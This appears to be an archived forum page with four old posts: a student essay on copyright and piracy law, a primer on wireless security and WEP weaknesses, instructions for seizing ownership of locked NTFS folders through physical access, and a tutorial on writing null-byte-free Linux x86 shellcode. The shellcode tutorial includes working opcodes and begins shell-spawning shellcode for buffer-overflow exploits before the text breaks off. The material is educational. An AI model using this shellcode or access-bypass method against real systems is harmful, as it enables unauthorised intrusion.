Multimedia Law
Jun 17 2005 - 08:48 EST    Posted By m4tt
This article was written for a law module whilst I attended university. I hope you enjoy reading this article and please remember this is not fact just one mans humble opinion.

Critically consider the extent to which the law in relation to IP rights adequately protects the interests of Multimedia and Audiovisual professionals.



Introduction

Property by definition of law is what is capable of being owned. In the modern era, energy isn’t expelled creating new products; it is used in the creation of new concepts and initiatives. Intellectual property encompasses this idea and creates a set of regulations that allow the protection of ideas and concepts so that the creator of the work has exclusive rights to the material produced. Examples of these kinds of intellectual property are copyrights, patents, trademarks and design rights (the latter two being more of a commercial endeavour).

Copyright is an automatic protection over creative work published by an author, meaning that no registration is required to protect such work. It involves the exclusive right to make copies of the work, allows the distribution of copies to the public, to perform or broadcast the work or adapt the work. Patents are a time-limited monopoly granted to inventors which gives them the exclusive right to produce or authorise others to produce the patented item. Trademarks are a formal way in which a brand owner can develop and protect his brand image.

Regulations have become harder to enforce and police, resulting in an increase of copyright infringement and loss of potential earnings. This report aims to show how existing laws protect copyright owners and what steps these professionals must take in order to restrict the misuse of their property. I will also explain the rise of piracy and how it has changed the way that multimedia professionals are affected.

Acquiring Copyright

Copyright laws cover creative content. Such work includes:

“(a) original literary, dramatic, musical or artistic works;
(b) sound recordings, films, broadcasts or cable programmes:
(c) the typographical arrangement of published editions.” [Copyright Designs and Patents Act 1988, s 1.]

The Copyright Designs and Patents Act 1988 currently protect literature, art, web sites, music, sound recordings, films and broadcasts. Audiovisual professionals work with both their own content and content created by other authors, so they must be fully aware of the copyright laws that are bound to these works.

Copyright protection (as stated above) arises automatically when an “original” work is “fixed” in a tangible medium of demonstration. When a work is original it owes its origin to the author and was not copied from some pre-existing work. If a work is “fixed” when it is created, it allows for the work to be perceived, reproduced and otherwise communicated for a period of more than transitory duration. An example of fixation can be a computer database: “Fixation and registration: This discusses the problem that a database is never "published" as a whole, but has continuous amendments and additions. It seems that copyright in the complete database is continuously being updated.” (1)

Range Of Protection Copyright is more of a physical protection as it protects against copying the articulation as opposed to the idea of the work. The articulation of a work is not limited to the exact copy of the work, if a work deemed “substantially similar” can infringe copyright. Although not directly involved with the multimedia market, a case involving perfume was subject to copyright infringement based on being “substantially similar”. The case of Lancôme Parfums et Beauté et cie S.N.C. v. Kecofa B.V. found that Dutch law could hold perfume compositions as copyrightable. The court concluded:

“Considering that the scent itself is too fleeting and variable and dependent on the environment it cannot be protected by copyright laws.” The Court nevertheless held “that the material that gives off the scent can be perceived through the senses and is sufficiently concrete and stable to be considered a ‘work’ under the Copyright Act of 1912.” (2)

It was found that 26 fragrant ingredients of the hundreds used in modern perfume were original and therefore copyrighted to Lancôme. Under Dutch law, a computer program and its prepatory material are also bound by copyright; therefore audiovisual developers may in part be covered by the same statutes used in the Copyright Act of 1912.

The owner of the copyright has exclusive right to do the following in the United Kingdom:
(a) To copy the work.
(b) To issue copies of the work to the public.
(ba) To rent or lend the work to the public.
(c) To perform, show or play the work in public.
(d) To communicate the work to the public.
(e) To make an adaptation of the work or do any of the above in relation to an adaptation.

Anyone who violates any of the exclusive rights of a copyright owner is an infringer. If rights are infringed then a copyright owner in some cases can recover statutory damages from an infringer. Courts have the power to issue injunctions to prevent or impede copyright infringement and can order the seizure or destruction of infringing copies as stated in Copyright Designs and Patents Act 1988, s 114. Under UK law, the duration of a literary or artistic copyright is the life of the author plus 70 years (s 12) or in the case of a sound recording it is 50 years from first release (s 13A, 14). In the case of films it is the life of the director/author/composer plus 70 years (s13B).

The Audiovisual Sector

The main reason that these laws are in place are because the audiovisual industry is unlike any other industry as to the fact that does not simply produce goods to be sold on the market like other goods. The audiovisual sector in itself is a creative and artistic industry a quintessential part of our media rich society. Audiovisual professionals play a part in influencing what people learn, believe and even feel. In an industry where competition is very high; broadcasts, films and reports must be bound by common values such as freedom of expression, protection of authors and their works and consumer protection. Although multimedia products are of such great economic importance, there is no direct legislation to protect them. This does not mean that there is no protection at all for these products; the protection that they fall under is simply a collection of existing statutes from copyright, contract and tort law. These laws (described above) were designed so that when new technologies were introduced, the definition would be broad enough to take in these new advances. In most cases, multimedia works can be within the scope of the Berne Convention so they are protected by a united (mainly European although USA joined in 1988) enforcement of copyright which allows authors to enjoy the same rights as their own nationals enjoyed. These existing laws present one advantage and that is that they are well known, long practiced and because of various conventional agreements they have established worldwide rights. Other conventions that have contributed to more united legal system regarding intellectual property are:

The Rome Convention – This helped set up international protection for performers and recording companies which was not part of the Berne Convention.

World Trade Organisation – TRIPS – Requires that all members belonging to WTO must sign up to virtually all of the Berne Convention. Also helped recognise computer works become protected under law.

World Intellectual Property Organisation (WIPO) - One of the 16 specialized agencies of the United Nations system. WIPO is responsible for promoting the protection of intellectual property throughout the world. It fulfils this responsibility by promoting cooperation among nations in intellectual property matters, administering various “unions” and other treaty organizations founded on multilateral treaties, and creating model laws for adoption by developing nations.

Audiovisual services have been linked to the continuation of cultural identity, social values and have also played a major role in shaping public opinion whilst helping to develop artistic ability. Because of these factors, governments worldwide have provided links to develop growth in the industry but also enforced initiatives to protect the receiving parties from alien social influence. The audiovisual sector itself undergoes many major changes as a result of the introduction of digital technologies, these changes being closely linked to causing the alteration of both national law and a company’s regulatory framework. The development in these technologies have given consumers access to a mass market of entertainment and information services, helping to increase commercialisation in the audiovisual sector but it has also made the industry more susceptible to competition from global corporations.

“Copyright arises automatically in the expression of an idea in a material form, whether it be a literary, artistic or musical work, or by way of a "derivative copyright" in the form of a sound recording, film, broadcast or cable programme service. It is one of a number of different rights which are known as intellectual property rights (IPR).” (3)

Digital technology provides a new and potentially beneficial opportunity to exploit IPR in content, initiating a whole division of rights that are really rights of “use” and not rights that are particularly exclusive. These rights will be explained in detail concentrating on individual media and not multimedia rights as a collective.

Piracy

One of the main threats to electronic publications (multimedia included) in a digital environment is illegal reproduction or “Piracy”. Copyright industries in the North America and in Europe have forcefully maintained that insufficient protection would threaten the basic motivation of copyright and possibly jeopardise future investments in creation and innovation of multimedia products and electronic publications (Union for the Public Domain 1996; Kurtz 1996; Samuelson 1996a; Vinje 1996a, 1996b). With this in mind, systems of security are being developed that complement existing laws to provide control and protection of digital copyrighted data. Such systems in existence now cover much different multimedia content:

DRM: Digital Rights Management - A system for protecting the copyrights of data circulated via the Internet or other digital media by enabling secure distribution and/or disabling illegal distribution of the data. Typically, a DRM system protects intellectual property by either encrypting the data so that it can only be accessed by authorized users or marking the content with a digital watermark or similar method so that the content can not be freely distributed. (4)

CSS – A CSS encoded DVD disc contains movie data which is MPEG-2 compressed. This compressed data is then scrambled according to the secret CSS algorithm and a set of keys. To access the data on the disc, a device must know the CSS algorithm, including the method of key extraction, and be in possession of certain authenticating keys. A PC performs a handshake with an authenticating device on the disc drive. This handshake establishes an encrypted path for the transmission of keys, and by convention, authorizes the release of data from the drive as well as the reading of certain title-related keys which are located on a normally inaccessible part of the disc. (5)

These systems themselves are also protected by law against circumvention and/or tampering. Such a law is in effect under WIPO Copyright's Article 18:

“Contracting Parties shall provide adequate legal protection and effective legal remedies against the circumvention of effective technological measures that are used by authors in connection with the exercise of their rights under this Treaty or the Berne Convention and that restrict acts, in respect of their works, which are not authorized by the authors concerned or permitted by law.” (6)

Even though the use of DRM technologies is rising, DRM restrictions have not helped to stop internet piracy. With the advent of peer-to-peer (P2P) technologies, DRM approaches have become obsolete, with users being able to publicly trade digital media with no restrictions whatsoever.

Responses to the rise in piracy

With the concern over internet piracy growing, the US and the EU have led the response to industry concerns about copyright extension. As multimedia and its products have developed, governments have begun to modify and reform their copyright regime to help encompass the changes in the digital environment. Since 1992, WIPO has encouraged the development of what it called its “digital agenda” which aims to introduce measures to focus on the number of digital copyright problems by amending the Berne Convention (explained above). Both the US and the EU have taken legislative steps to help digital copyright infringement:

The European Union
The EU has set out to make all countries under its umbrella to be linked via the internet, a large network that would help move information quickly and help to increase commerce, increase competition and develop wider social structure. The EU in regard to the development and implementation of a digital marketplace stated that:

All the parties involved (right holders and other content providers, manufacturers, service providers, network operators, professional users and private user groups) emphasise that these developments {in multimedia and electronic information services} will not take place without a functioning and effective Single Market in copyright and related rights.
(Commission of the European Communities 1996)

With the development of the Digital Millennium Copyright Act in the US (explained below), rights holder organisations saw the opportunity to push proposals that had been rejected by the diplomatic conference that led to the WIPO treaties. In particular they were keen to reintroduce the detailed anti-circumvention rules previously proposed by the US but rejected in favour of the simpler and more flexible ideals detailed in Articles 11 and 18 of the final WIPO Copyright and Performances and Phonograms treaties.

It ended up that both the EU and US had legislation that specifically outlawed acts of circumvention and circumvention devices, rather than concentrating on acts of copyright infringements.

An example of copyright protection introduced by the EU was protection for literary, dramatic and musical works produced by nationals of the European Union has been accepted by all member states and now protects works for the length of the author’s life plus seventy years.

The United States
The US Government took drastic steps to help protect copyright owners. On 28th October 1998, President Bill Clinton signed into law a controversial copyright statute called the Digital Millennium Copyright Act (DMCA). The purpose of the DMCA is to update the current Copyright Act and for the digital environment to ensure US law conforms to the requirements of WIPO treaties negotiated in Geneva in December 1996. The act itself makes it illegal to import, manufacture or distribute any device that serves to ‘avoid, bypass, remove, deactivate or otherwise circumvent without authority of the copyright owner of the law, any process, treatment, mechanism or system which prevents of inhibits the violation of any of the exclusive rights..’ (HR 3531 104th CONGRESS). The act also creates a safeguard for Online Service Providers (OSP’s, including ISP’s) against copyright liability if they promptly block access if they receive a notification from a copyright holder about infringements by their users.

At that time, another bill was written to law named the Copyright Extension Act. This act extends the length of copyright from “Life + fifty years” to “Life + seventy” for individual authors and to ninety-five years from seventy-five for corporate author’s.

One case that is right at the centre of a piracy debate is that of MGM v. Grokster. This is a case where twenty-eight of the world’s largest entertainment companies brought a lawsuit against the makers of the Morpheus, Grokster and Kazaa software products aiming to set a precedent to use against other technology companies (7). The question this trial aimed to answer is to clarify the border between copyright and innovation, if a distributor of a multi-purpose tool can be held liable for the infringements that may be committed by the end-users of the tool.
One of the main points in this trial, especially by some of the Justices in the case seemed troubled by how an inventor would know, at the time of inventing, how its invention might be marketed in the future. Some of the Justices asked MGM, could the inventors of the iPod (or the VCR, the photocopier or even the printing press) know whether they could go ahead with developing their invention. It surely would not be difficult for them to imagine that somebody might come across the idea of marketing their device as a tool for infringement. MGM’s answer to this enquiry was pretty unsatisfying. They said at the time the iPod was invented, it was clear that there were many perfectly lawful uses for it, such as ripping one’s own CD collection and storing it on the iPod. This was an interesting point because there were probably people that supported MGM in this trial but did not think that the analogy was one bit legal. In any event, MGM’s iPod example did exactly what their proposed standard expressly doesn’t do: it evaluated legality of the invention based on the knowledge available to the inventor at the time, not from a future perspective that asks how the invention is subsequently marketed or what business models later grow up around it.

Grokster eventually went on to win the case in the Ninth Circuit Court of Appeals which established that if one is to make a truly decentralised P2P software you cannot be held liable for any copyright infringement that takes place on their networks. This is the “Betamax principle” from a famous Supreme Court case that established that Sony wasn’t responsible for any infringement that its customers undertook with their VCR’s. The Studios' argument was that people who make P2P software should be obliged to build it in such a way as to make it easy to police, an argument that would later be dismissed.

Conclusion

As multimedia technology develops and the restrictions on copyright grow tighter, there is the increased prospect of piracy. Copyright protectors are increasingly aware of the growth of the piracy industry and its potential influence on the development of digital media products from both individual authors and corporate industries.

Multimedia professionals will never be completely protected by copyright law, meaning that I do not think they are adequately protected in their field of work. Most cases we hear to do with multimedia law concentrate on big business where, if laws were re-examined as these businesses they keep urging, the step would go only as far as to satisfy the copyright owner’s immediate economic aims and not satisfy the freedom to innovate. In the case of Grokster, it was not the file-sharing medium that should have been targeted, it should (and now is with the introduction of the RIAA and the MPAA in the US) have concentrated on the individuals themselves that were “ripping” and distributing the files across these networks.

The law can only cater for one side of a court ruling, meaning that law can work for and against copyright holders. In the case of Grokster, it has set a precedent where if any other P2P protocols or programs are taken to court, the defendant’s will have both the Betamax and the Grokster rulings to help their defence when summoned.

In the case of innovation, multimedia authors need to be well aware of how they create and they publish their works, exercising their own intellectual property rights with every publication. Cyberspace is a virtual patent infringement minefield and detecting infringements has become relatively easy with the interconnected nature of the Internet, authors have to take into account many different factors before they even publish their work. They have to:

• Review prior art – To identify the current state of the technological environment and possibly prevent patent infringement (Polaroid vs. Kodak, 1986 – Instant camera patents).
• Evidence of due care – Keeping track of related patents and new patents, important to prepare for potential infringement suits (Wang Global vs. Netscape, 1998 – patents in browser software).

Just to name but two.

Basically, for a multimedia professional to be truly safe from a lawsuit, they have to exhaust all prior avenues of the technology they are developing. Its not that the law itself is wrong, it’s that fact that it is confusing and potentially easy to miss. Copyright law as it stands could stifle innovation, reduce competition and with the sudden increase of “patent flooding” it could cause the “little fish” to be forced out of the industry.




References
(1) - Computer Law by Colin Tapper, 4th edition, Longman, 1989.

(2) - Lancôme Parfums et Beauté et cie S.N.C. v. Kecofa B.V., I.B ¶ 4 (Dutch Ct. App., Den Bosch, 2004), online at www.piercelaw.edu/tfield/tresor.pdf (Accessed March 23, 2005) All references to the case are to that translation.

(3) - Do You Know Your Rights, Minister? - Andrew Millett – Available online at http://www.mishcon.co.uk/inp/inp_b/techbrief/tech0202.htm Accessed March 30, 2005)

(4) 6am Media – Glossary – Available online at http://www.6am-media.com/glossary.php - [Accessed May 10, 2005].

(5) Licensing Requirements For The CSS DVD Copy Protection Method – Michael Moradzadeh – Intel Corporation – Available online at http://userpages.umbc.edu/~awirth1/decss/csspaper.pdf [Accessed May 10, 2005].

(6) WIPO Performances and Phonograms Treaty – WIPO – Available online at http://www.wipo.int/treaties/en/ip/wppt/trtdocs_wo034.html#P141_21174 [Accessed May 10, 2005].

(7) MGM v. Grokster - Available online at http://www.eff.org/IP/P2P/MGM_v_Grokster/ [Accessed May 10, 2005].
http://puck.emeraldinsight.com/vl=1081487/cl=17/nw=1/rpsv/cw/www/mcb/14691930/v2n1/contp1.htm [Accessed May 12, 2005].

(8) Puay Tang - INNOVATION, ELECTRONIC PUBLISHING AND THE MANAGEMENT OF INTELLECTUAL PROPERTY: What of digital piracy? - http://www.ingentaconnect.com/content/routledg/rics/1999/00000002/00000001/art00004 [Accessed May 12,2005].
 

Wireless Security Basics
Mar 21 2004 - 19:12 EST    Posted By quixote
| Wireless Security Guide |

By Conor





| Introduction |



Wireless communications are just so rad. I just want hopefully to spark your interest. It’s not intended to be complete... more like an eye-opener.





| Understanding Basic Networking and Terminology |



You should already understand LAN topologies but I’ll go over it a bit. There are two types of networks- either infrastructure or ad hoc(Latin for ‘to that’, thanks mom).



An infrastructure is set to for all clients to send all of it’s communications to an access point(AP). The access point acts as an Ethernet bridge and forwards the communications to the appropriate network, either wired LAN or another wireless network(WN).

Infrastructures are usually only used for large networks or networks with many ‘sub-hubs’.





An ad hoc is set up with a router or gateway as to enable clients to connect directly to each other. No APs are used to connect the ad hoc network directly with wired network. Designed to allow only clients within range of each other to communicate.



If you own a wireless router/gateway or mobile client it is vital that you acquire some type of encryption method especially if you are in a work environment.





| Wireless Whatnot |





SSID

Service Set Identifier is meant to differentiate networks from one another. Depending on the manufacturer, the SSID can be set by default. For example Linksys’s AP have network name ‘linksys’, Cisco’s is ‘tsunami’ and mine was initially set to ‘54mbps’). I recommend that you change it, an attacker could find your network a lot easier.



It is pretty important that you try to conceal your SSID.



-by default AP’s broadcast their SSID every few seconds in what are known as ‘Beacon Frames’. Again this could allow an attacker to find your SSID easily.



Authentication Type

Before any communications can take place, a dialogue must be established between the client and AP. This process is known as associating. Authentication is required immediately after a device associates. There are two types of authentication: shared key authentication and open authentication.



-The simplest and default setting for this feature is open authentication. This allows anyone to begin a conversation with the AP and provides no security on who can talk to the AP.



-The shared key authentication is where client begins by sending an association request to the AP. The AP responds with a string of challenge text which the client must encrypt using the WEP key(see WEP below). If the text is encrypted correctly, the client is allowed to communicate with the AP and move to the next layer of security.



WEP

Wired Equivalent Privacy. Intended to give wireless users security equivalent to being on a wired network.

Popular types:

-Each packet transmitted from one radio to another is first encrypted by taking the packets data payload and secret 40 bit number and passing them through RC4 algorithm.



-The resulting encrypted packet is then transmitted across the air waves and the receiving station hears the packet it then uses the resulting in the host receiving useable data.



Above Standard types:

-The SSID is not transmitted in the ‘Beacon Frames’.

-128 bit WEP(also called WEP Plus). Extends WEP key from 40 bits to 104 bits for added security.

Broadcast key rotation- another method intended to help counter flaws in WEP. In this model, there are two WEP keys, one key meant to encrypt data between AP and client and the other meant to encrypt broadcasts such as: ARP and DHCP. It generates short-lived WEP keys. Admin sets a specific time(in seconds) for the AP to broadcast a new WEP key, encrypting it with the old one. Because these timeouts are usually set to ten minutes or so, there’s not enough time for attackers to intercept the amount of packets needed to crack the key (see below for methods).



MAC address filtering limits access to the AP only those MAC addresses of authorized clients.



| Methods and Solutions |



Fingerprinting a wireless network can be really fun as long as you know some methods to obtain information even if you don’t get anywhere. WarDriving is when one runs around trafficy areas with a NIC(network interface card) and packet sniffing software in order to attack a network.



You should definitely dl some packet sniffing software. (good=Airopeek)



SSID

This should be considered first level security. Knowing it narrows it down from senseless packets to actual proof of a network.

Methods to getting past this first level-

-scanning for networks with names of manufacturers default SSID.

-try guessing :D



WEP

Problems:

-the RC4 encryption has been proven insecure- combines bitted key with a 24 bit random numbers known as Initialization Vector to encrypt the data. The packet sent over the airwaves contains the IV followed by the encrypted data.

-the first attack uses a simple numerical limitation of the IV to figure out the WEP key. Because the IV is only 24 bits long, there are only so many permutations of the IV for the RC4 to pick from. (possible values= 16,777,216 (2^24)). With a great amount of packets, the RC4 begins to choose the same IVs over and over. The attacker can eventually acquire the 2 variables.



Solutions:

-the 128 bit WEP key.

-Broadcast key rotation. One key is meant to encrypt the individual stream of data between the AP and the wireless client and the other is meant to encrypt broadcast transmissions such as DHCP or ARP requests. The admin would set a certain time, in seconds, on the AP, and the AP broadcasts a new WEP key, encrypting it with the old.

-MAC Address filtering. This provides good security but difficult to maintain clients if the network is large.



| More Implementations |



VPN

Virtual Private Network. This type of network is to consider the wireless network equivalent to the internet and only users in an encrypted channel would be able to communicate.



There are few weaknesses with this setup, the process of getting correct access to a wireless network begins with the client booting up and receiving an IP, the client then can negotiate a tunnel over the wireless network to begin its communications. False users go through the same process and although they can not use communications outside of network, they can, however, communicate to other clients on a LAN. This would divide the connection speed which could be used as a DoS attack.



RADIUS server.

Remote Dial-In User Service. When a client requests access the AP, the AP then demands a set of credentials and forwards them to a RADIUS server. This method of authentication is defined as <b>EAP</b>.



EAP

Extensible Authentication Protocol.

An authentication method to allow developers to create their own methods of passing credentials.



Four commonly used EAP methods are:



EAP-MD5

-relies on an MD5 hash of a username and password to pass credentials to the RADIUS server. It offers no key management.



EAP-Cisco Wireless (LEAP)

-Standard developed by Cisco. LEAP accepts a username and password from the wireless client and transmits them to the RADIUS server for authentication. LEAP dynamics creates a key for and individual user.



EAP-TLS (by Microsoft)

-Instead of username/password combinations EAP-TLS uses certificates to handle authentication.

-Like LEAP, EAP-TLS offers one-time WEP key generation.



EAP-TTLS (by Funk Software)

-alternative to EAP-TLS. The AP identifies itself to the client with a server certificate but TTLS then passes the credentials to response mechanisms (CHAP, PAP/Token Card, or EAP).





| Conclusion |



Wireless is fun.


 

NTFS File Permissions in Windows XP
Dec 17 2003 - 11:36 EST    Posted By T0m_Bombad1L
Circumventing NTFS in Windows XP
Part One in a Series Called: Learn From My Mistakes by Tom_Bombadil

Let’s say you have found yourself locked out of some NTFS folders in windows XP. Accessing them is actually quite simple and all of it can be done from within windows XP. All of this is of course assuming you have physical access to the computer. The first step is a simple mater of hitting F8 during boot-up, selecting Safe Mode, and logging on as the Administrator. There is no administrator password by default. If you don’t know, or have forgotten the administrator password, don’t panic, you are a jackass, but there is still hope for you. Things will be a tad more time consuming, but still not difficult. You need to have a windows XP installation disk. Pop it in and make a new (not upgrade) installation of windows XP on a separate partition. Once you are done log in as administrator on the new install. Once there click your way through My Computer and locate the folders you need to access. Once there, or as close as NTFS will let you get, you will have to change permissions on the folders. To do that, right-click on the folder and go to properties, then the security tab. Click on the advanced button (Note: I am seeking help from anyone with C/C++/VB skills in writing a program that replaces the “Advanced” button with a “Cool Shit Here” button.) and open up the owner tab. Now you will see a list, on that list will be people who have accounts on that windows XP installation. Highlight the account that you want to have ownership of that folder; in most cases it will be Administrators. You may have to repeat the process for sub-folders, so make sure you check all of them too. If you did not have to make a new installation all you have to do now is restart and log in normally. If you did have to make a new installation, log in to the new install normally and open up the folders you now have permissions for and simply copy/paste them into the partition that your old installation is on. NTFS, bah!
 

Designing Shellcode
Dec 12 2003 - 14:08 EST    Posted By the_swede
Introduction
------------

Although tedious and abstract, shellcoding is an important skill
to learn in order to understand the underlying concepts of computer
systems. Shellcode is also important for the understanding of computer
security where shellcode is used to exploit vulnerable applications. In
this article, we will be working on Linux using the IA-32(x86)
architecture. Knowledge of C and IA-32 assembly, as well as knowledge
of how to use gdb is helpful.

The approach
^^^^^^^^^^^^
Usually the first step is getting to know your function's(or
syscall) arguments. For our first example, we will create a directory
called "1337". In order to do this, we must first look up the syscall
for mkdir and the arguments for mkdir. A decent list of system calls
can be found at http://www.linuxassembly.org/syscall.html. By looking
on there, we find that the syscall for mkdir is 39(0x27). By doing a
bit of googling, we can see that the arguments for mkdir is:
int mkdir(const char *path, mode_t)
The path of our directory will be a pointer. The mode is an
integer. The second step is to write a program in C that will create a
directory called "1337".

mkdir.c
------------------------------------------------------------------------
#include

int main()
{
mkdir("1337", 0755);
return 0;
}
------------------------------------------------------------------------

Extracting the Information
##########################

After we write this code, we want to compile it, run it, and then
check out the assembly code of it using gdb, as our third step:

------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o mkdir mkdir.c
eric@debian:~/shellcode$ ./mkdir
eric@debian:~/shellcode$ ls -l
total 16
drwxr-xr-x 2 eric eric 4096 Nov 10 00:11 1337
-rwxr-xr-x 1 eric eric 4810 Nov 10 00:11 mkdir
-rw-r--r-- 1 eric eric 71 Nov 10 00:07 mkdir.c
eric@debian:~/shellcode$ gdb mkdir
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-linux"...(no debugging symbols
found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x80483f0
: push %ebp
0x80483f1 : mov %esp,%ebp
0x80483f3 : sub $0x8,%esp
0x80483f6 : add $0xfffffff8,%esp
0x80483f9 : push $0x1ed
0x80483fe : push $0x8048474
0x8048403 : call 0x80482d0
0x8048408 : add $0x10,%esp
0x804840b : xor %eax,%eax
0x804840d : jmp 0x8048410
0x804840f : nop
0x8048410 : leave
0x8048411 : ret
0x8048412 : lea 0x0(%esi,1),%esi
0x8048419 : lea 0x0(%edi,1),%edi
End of assembler dump.
------------------------------------------------------------------------

The code worked. It created a directory called "1337" with
permissions of 755. If I had set my permissions to 777, the
permissions still would have been 755, because of the umask set as 022.
From the disassembled code, we can extract the information we need in
order to create the assembly code. What we need to look at is the
fifth and sixth lines. The first push instruction is pushing the second
argument which was the mode. Despite setting the mode to 0755, the
mode that we will use for our assembly code is 0x1ed. The second push
is pushing the memory address, which points to the name of the
directory we are creating. The program then goes and calls the mkdir()
function and then returns back to 0x8048408.

Creating the Assembly Code
~~~~~~~~~~~~~~~~~~~~~~~~~~

The first thing we want to do is put the name of our directory
into a buffer. We do this by using the stack. The stack allows us to
place data into contiguous memory regions. Since the stack uses
something called LIFO(Last In First Out) or FILO(First In Last Out), we
have to place everything onto the stack in reverse order. But we can
only do this four bytes at a time. Our string must be converted from
ASCII to hexadecimal. The hexadecimal equivilant of "1337" is
0x31333337. A string must also be padded with a null byte to terminate
it. Time to place it onto the stack:

pushl $0x0
pushl $0x37333331

We now have our string in a contiguous memory region. In order to
set up the parameters for any system call, the four 32-bit general
registers EAX, EBX, ECX, and EDX, the four 16-bit general registers,
AX, BX, CX, and DX, or the four 8-bit general registers, AL, BL, CL,
and DL are used. The arguments that are placed into the general
purpose registers must also be placed in reverse order. We need to
first place the mode into a register. Remember, the mode is an integer:

movl $0x1ed, %ecx

Now we must use the stack pointer as our directory argument. The
stack pointer(ESP) points to the top of the stack, where our string is
located. The stack on IA-32 grows downwards, or towards lower memory
addresses:

movl %esp, %ebx

After that is completed, we must put the system call number, which
is 0x27(or 39 in decimal), into EAX and then dive into kernel mode:

movl $0x27, %eax
int $0x80

Our last part of the program is to run the exit syscall. We want
to return 0 to show a successful run. By doing this, we must place 0
into EBX. To do so, we can do an Exclusive OR on the register itself.
The exit syscall is 0x1:

xorl %ebx, %ebx
movl $0x1, %eax
int $0x80

When we put this all together, we get something like this:

mkdir.s
------------------------------------------------------------------------
.section .text
.global main
main:
pushl $0x0
pushl $0x37333331
movl $0x1ed, %ecx
movl %esp, %ebx

movl $0x27, %eax
int $0x80
xorl %ebx, %ebx
movl $0x1, %eax
int $0x80
------------------------------------------------------------------------

Patch Work
++++++++++

We want to try to avoid using 0's in our assembly code. First,
they look ugly, and they also take up unneccessary bytes. For
instance, there's no need to use a 32-bit register when you're only
placing 8 or 16 bits of data into it! For a hacker's purpose, the null
bytes cannot be used in his or her exploits because a null byte
terminates a string. In order to fix our problem, we will change the
following:

pushl $0x0 | xorl %eax, %eax
| pushl %eax

movl $0x1ed, %ecx | movw $0x1ed, %cx

movl $0x27, %eax | movb $0x27, %al

movl $0x1, %eax | movl %ebx, %eax
| incl %eax

Now that the patch work is done, we have our new code:

mkdir.s
------------------------------------------------------------------------
.section .text
.global main
main:
xorl %eax, %eax
pushl %eax
pushl $0x37333331
movw $0x1ed, %cx
movl %esp, %ebx
movb $0x27, %al
int $0x80

xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80
------------------------------------------------------------------------

Writing the Shellcode
`````````````````````

Finally it is time to write our shellcode. We need to assemble
our patched assembly code, and see if it works:

------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o mkdir mkdir.s
eric@debian:~/shellcode$ ./mkdir
eric@debian:~/shellcode$ ls -l
total 20
drwxr-xr-x 2 eric eric 4096 Nov 10 02:24 1337
-rwxr-xr-x 1 eric eric 4593 Nov 10 02:23 mkdir
-rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c
-rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s
------------------------------------------------------------------------

Yep! It works! Now we need to extract the opcodes using gdb.

------------------------------------------------------------------------
eric@debian:~/shellcode$ gdb mkdir
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-linux"...(no debugging symbols
found)...
(gdb) x/30b main
0x80483c0
: 0x31 0xc0 0x50 0x68 0x31 0x33 0x33 0x37
0x80483c8 : 0x66 0xb9 0xed 0x01 0x89 0xe3 0xb0 0x27
0x80483d0 : 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd
0x80483d8 : 0x80 0x8d 0x76 0x00 0x90 0x90
------------------------------------------------------------------------

We need to clean this up a bit. I would do it by copying and
pasting the gdb output into a text file, remove everything before the
":"s, remove all the spaces, and to a search/replace on all the "0x"s
with "\x"s. It is also necessary to cut out all of the opcodes after
the last 0x80 or \x80, because the rest are not important to the
construction of shellcode.
When we neaten the opcodes up, we get something similar to this:

------------------------------------------------------------------------
\x31\xc0\x50\x68\x31\x33\x33\x37
\x66\xb9\xed\x01\x89\xe3\xb0\x27
\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80
------------------------------------------------------------------------

Our shellcode then looks something like this:

mkdir.c
------------------------------------------------------------------------
#include

char shellcode[] =
"\x31\xc0\x50\x68\x31\x33\x33\x37"
"\x66\xb9\xed\x01\x89\xe3\xb0\x27"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80";

int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------

Let us compile and run our shellcode to see if it works.

------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o mkdir mkdir.c
eric@debian:~/shellcode$ ./mkdir
eric@debian:~/shellcode$ ls -l
total 20
drwxr-xr-x 2 eric eric 4096 Nov 10 02:44 1337
-rwxr-xr-x 1 eric eric 4755 Nov 10 02:44 mkdir
-rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c
-rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s
------------------------------------------------------------------------

Thankfully it worked! Constructing shellcode is a very tedious
task, as you can see. I'm sure if you were patient enough to read up
to here, you will continue reading.

More Examples
*************

For another example of writing shellcode, we will write shellcode
that spawns a shell. This is often seen in the computer security
field. Often, hackers spawn shells in their buffer overflow exploits.
This is doine by changing the return address in the stack to an address
where the shell spawning shellcode is located.
We first start out with examining our syscall(or function) in C.
In order to execute any program, we will use execve(). Execve() is
both a system call and a C function. By looking at our chart, we find
out that execve's number is 0xb, or 11. Then by looking at our man
pages, we can find the arguments needed for execve().

int execve(const char *filename, char *const argv[], char *const envp[])

In C, we will get something like this:
shspawn.c
------------------------------------------------------------------------

#include

int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
return 0;
}
------------------------------------------------------------------------

Now we want to write this in assembly. We need to first create
our path. Our path will be "/bin//sh". The extra "/" is an escape
character used in order to distinguish slash that follows it. Then of
course, in order to end any string, we must have a null byte. Our
second argument is the entire character array. And our third argument
is NULL.
So in order to construct our code, we must first end our string
with the null byte:
xorl %eax, %eax
xorl %ecx, %ecx
xorl %edx, %edx
pushl %edx

Now we need to push our string backwards, four bytes at a time:

pushl $0x68732f2f
pushl $0x6e69622f

Now that we have our completed string on the stack, we need to
move it into a register. The path argument in our C function was the
